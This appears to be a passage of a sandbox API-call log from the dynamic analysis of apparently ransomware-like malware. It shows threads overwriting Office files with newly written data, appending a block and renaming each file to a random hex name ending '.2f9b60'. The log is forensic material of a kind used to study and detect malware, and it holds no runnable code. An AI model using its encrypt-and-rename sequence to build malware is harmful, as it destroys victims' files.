RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\9527d3cd6b776611f71bd.2f9b60", NtPathName=0x3e42fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\9527d3cd6b776611f71bd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c37410 Thread: id = 2243 os_tid = 0x7ec [0143.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn")) returned 0x20 [0145.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn", dwFileAttributes=0x20) returned 1 [0146.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f10 [0146.736] GetFileSizeEx (in: hFile=0x1f10, lpFileSize=0x3ef5f7c0 | out: lpFileSize=0x3ef5f7c0*=3001) returned 1 [0146.736] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0xbb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.736] ReadFile (in: hFile=0x1f10, lpBuffer=0x3ef5f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ef5f788, lpOverlapped=0x0 | out: lpBuffer=0x3ef5f740*, lpNumberOfBytesRead=0x3ef5f788*=0x4, lpOverlapped=0x0) returned 1 [0146.751] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0146.752] NtQuerySystemTime (in: CurrentTime=0x3ef5f680 | out: CurrentTime=0x3ef5f680*=132462177519982000) returned 0x0 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x23394d7a [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x444e7ea7 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x1f80c957 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x58ef0715 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x6aa782df [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x31c7ad81 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x26a526fd [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x38cc07 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x6ac92c89 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x460e76dd [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x78a5c085 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0xdc00311 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x34b46ebc [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x4eed842d [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x7c01a745 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x430b395d [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x2a4e7461 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x1a04e5dd [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x2501604e [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x571c9a2a [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x62bc5cd7 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x134fcbd8 [0146.752] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x4d3ae83e [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x369381e [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x70181b89 [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x5bb78d0f [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0xe84fb71 [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x4aee046d [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x510af315 [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x593908bc [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x1170f962 [0146.753] RtlRandomEx (in: Seed=0x3ef5f670 | out: Seed=0x3ef5f670) returned 0x13549bb0 [0146.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0146.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 [0146.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0146.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0146.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4235f0f0 [0146.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42362d00 [0146.762] ReadFile (in: hFile=0x1f10, lpBuffer=0x4235f0f0, nNumberOfBytesToRead=0xbb9, lpNumberOfBytesRead=0x3ef5f670, lpOverlapped=0x0 | out: lpBuffer=0x4235f0f0*, lpNumberOfBytesRead=0x3ef5f670*=0xbb9, lpOverlapped=0x0) returned 1 [0146.762] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.762] WriteFile (in: hFile=0x1f10, lpBuffer=0x42362d00*, nNumberOfBytesToWrite=0xbb9, lpNumberOfBytesWritten=0x3ef5f674, lpOverlapped=0x0 | out: lpBuffer=0x42362d00*, lpNumberOfBytesWritten=0x3ef5f674*=0xbb9, lpOverlapped=0x0) returned 1 [0146.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0146.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0146.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0146.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42362d00) returned 1 [0146.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4235f0f0) returned 1 [0146.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0146.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42059100 [0146.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0146.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8670) returned 1 [0146.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42059fb0 [0146.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0146.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0146.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8190) returned 1 [0146.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x128) returned 0x1b7d3a20 [0146.814] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.814] WriteFile (in: hFile=0x1f10, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3ef5f790, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3ef5f790*=0x128, lpOverlapped=0x0) returned 1 [0146.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0146.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0146.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda07f0 [0146.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0146.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0146.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0146.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b867e40 [0146.828] sprintf (in: _Dest=0x1b867e40, _Format="%c%c" | out: _Dest="78") returned 2 [0146.828] sprintf (in: _Dest=0x1b867e42, _Format="%c%c" | out: _Dest="74") returned 2 [0146.828] sprintf (in: _Dest=0x1b867e44, _Format="%c%c" | out: _Dest="a3") returned 2 [0146.828] sprintf (in: _Dest=0x1b867e46, _Format="%c%c" | out: _Dest="8f") returned 2 [0146.828] sprintf (in: _Dest=0x1b867e48, _Format="%c%c" | out: _Dest="35") returned 2 [0146.828] sprintf (in: _Dest=0x1b867e4a, _Format="%c%c" | out: _Dest="d9") returned 2 [0146.828] sprintf (in: _Dest=0x1b867e4c, _Format="%c%c" | out: _Dest="5a") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e4e, _Format="%c%c" | out: _Dest="f9") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e50, _Format="%c%c" | out: _Dest="9d") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e52, _Format="%c%c" | out: _Dest="71") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e54, _Format="%c%c" | out: _Dest="1e") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e56, _Format="%c%c" | out: _Dest="4c") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e58, _Format="%c%c" | out: _Dest="87") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e5a, _Format="%c%c" | out: _Dest="6e") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e5c, _Format="%c%c" | out: _Dest="3c") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e5e, _Format="%c%c" | out: _Dest="b3") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e60, _Format="%c%c" | out: _Dest="0c") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e62, _Format="%c%c" | out: _Dest="c1") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e64, _Format="%c%c" | out: _Dest="8c") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e66, _Format="%c%c" | out: _Dest="cc") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e68, _Format="%c%c" | out: _Dest="64") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e6a, _Format="%c%c" | out: _Dest="f8") returned 2 [0146.829] sprintf (in: _Dest=0x1b867e6c, _Format="%c%c" | out: _Dest="79") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e6e, _Format="%c%c" | out: _Dest="16") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e70, _Format="%c%c" | out: _Dest="c0") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e72, _Format="%c%c" | out: _Dest="8d") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e74, _Format="%c%c" | out: _Dest="17") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e76, _Format="%c%c" | out: _Dest="fe") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e78, _Format="%c%c" | out: _Dest="f5") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e7a, _Format="%c%c" | out: _Dest="99") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e7c, _Format="%c%c" | out: _Dest="42") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e7e, _Format="%c%c" | out: _Dest="a6") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e80, _Format="%c%c" | out: _Dest="7c") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e82, _Format="%c%c" | out: _Dest="10") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e84, _Format="%c%c" | out: _Dest="d2") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e86, _Format="%c%c" | out: _Dest="ce") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e88, _Format="%c%c" | out: _Dest="3a") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e8a, _Format="%c%c" | out: _Dest="7c") returned 2 [0146.830] sprintf (in: _Dest=0x1b867e8c, _Format="%c%c" | out: _Dest="a2") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e8e, _Format="%c%c" | out: _Dest="3a") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e90, _Format="%c%c" | out: _Dest="45") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e92, _Format="%c%c" | out: _Dest="89") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e94, _Format="%c%c" | out: _Dest="6e") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e96, _Format="%c%c" | out: _Dest="72") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e98, _Format="%c%c" | out: _Dest="37") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e9a, _Format="%c%c" | out: _Dest="4d") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e9c, _Format="%c%c" | out: _Dest="68") returned 2 [0146.831] sprintf (in: _Dest=0x1b867e9e, _Format="%c%c" | out: _Dest="7b") returned 2 [0146.831] sprintf (in: _Dest=0x1b867ea0, _Format="%c%c" | out: _Dest="70") returned 2 [0146.831] sprintf (in: _Dest=0x1b867ea2, _Format="%c%c" | out: _Dest="09") returned 2 [0146.831] sprintf (in: _Dest=0x1b867ea4, _Format="%c%c" | out: _Dest="2b") returned 2 [0146.831] sprintf (in: _Dest=0x1b867ea6, _Format="%c%c" | out: _Dest="47") returned 2 [0146.831] sprintf (in: _Dest=0x1b867ea8, _Format="%c%c" | out: _Dest="2b") returned 2 [0146.831] sprintf (in: _Dest=0x1b867eaa, _Format="%c%c" | out: _Dest="08") returned 2 [0146.831] RtlInitAnsiString (in: DestinationString=0x3ef5f808, SourceString="7874a38f35d95af99d711e4c876e3cb30cc18ccc64f87916c08d17fef59942a67c10d2ce3a7ca23a45896e72374d687b70092b472b08" | out: DestinationString="7874a38f35d95af99d711e4c876e3cb30cc18ccc64f87916c08d17fef59942a67c10d2ce3a7ca23a45896e72374d687b70092b472b08") [0146.832] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ef5f7d8, SourceString="7874a38f35d95af99d711e4c876e3cb30cc18ccc64f87916c08d17fef59942a67c10d2ce3a7ca23a45896e72374d687b70092b472b08", AllocateDestinationString=1 | out: DestinationString="7874a38f35d95af99d711e4c876e3cb30cc18ccc64f87916c08d17fef59942a67c10d2ce3a7ca23a45896e72374d687b70092b472b08") returned 0x0 [0146.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb4e50 [0146.832] RtlFreeAnsiString (AnsiString="7") [0146.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0146.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0146.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0146.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0146.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8670) returned 1 [0146.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0146.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0146.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0146.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd90) returned 1 [0146.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050d000 [0146.834] wcscat (in: _Dest=0x2050d000, _Source="7874a38f35d95af99d711e4c876" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7874a38f35d95af99d711e4c876") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7874a38f35d95af99d711e4c876" [0146.835] wcscat (in: _Dest=0x2050d000, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7874a38f35d95af99d711e4c876.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7874a38f35d95af99d711e4c876.2f9b60" [0146.835] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7874a38f35d95af99d711e4c876.2f9b60", NtPathName=0x3ef5f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\7874a38f35d95af99d711e4c876.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205f020 [0146.835] NtSetInformationFile (FileHandle=0x1f10, IoStatusBlock=0x3ef5f850, FileInformation=0x4205f020, Length=0xc4, FileInformationClass=0xa) Thread: id = 2244 os_tid = 0x48c [0143.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0x20 [0145.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS", dwFileAttributes=0x20) returned 1 [0146.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b04 [0146.750] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x3f10fae0 | out: lpFileSize=0x3f10fae0*=2278416) returned 1 [0146.750] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x22c40c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.750] ReadFile (in: hFile=0x1b04, lpBuffer=0x3f10fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f10faa8, lpOverlapped=0x0 | out: lpBuffer=0x3f10fa60*, lpNumberOfBytesRead=0x3f10faa8*=0x4, lpOverlapped=0x0) returned 1 [0146.766] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0146.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfa0 [0146.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0146.766] NtQuerySystemTime (in: CurrentTime=0x3f10f9a0 | out: CurrentTime=0x3f10f9a0*=132462177520138000) returned 0x0 [0146.766] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x852363 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x148612bd [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x44b0e2a4 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x38b30b17 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x61c157b9 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x76a382cd [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x248ec4a3 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x68ea9f77 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x67bd0ec [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x685086b [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x7957a27 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x4a1de9fe [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x2a986d84 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x49378b8b [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x49b37033 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x72f6b19a [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x5e3900f [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x510e31e3 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x44a5bb84 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x5f6fdd7d [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x2843b27a [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0xd2fe2b [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x41b9da51 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x3ab8ee3a [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x75ade6c9 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x3b43b00f [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x39c5c591 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x345c2a71 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x4011cd0 [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x5cc1512f [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x77d1087e [0146.767] RtlRandomEx (in: Seed=0x3f10f990 | out: Seed=0x3f10f990) returned 0x44d975f4 [0146.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205beb0 [0146.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0146.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c000 [0146.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0146.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0146.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0146.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4236a520 [0146.778] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.778] ReadFile (in: hFile=0x1b04, lpBuffer=0x4236a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f10fa00, lpOverlapped=0x0 | out: lpBuffer=0x4236a520*, lpNumberOfBytesRead=0x3f10fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0146.814] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0146.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8190) returned 1 [0146.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4235f0f0 [0146.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0146.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0146.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0146.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.816] WriteFile (in: hFile=0x1b04, lpBuffer=0x4235f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f10fa00, lpOverlapped=0x0 | out: lpBuffer=0x4235f0f0*, lpNumberOfBytesWritten=0x3f10fa00*=0x3c00, 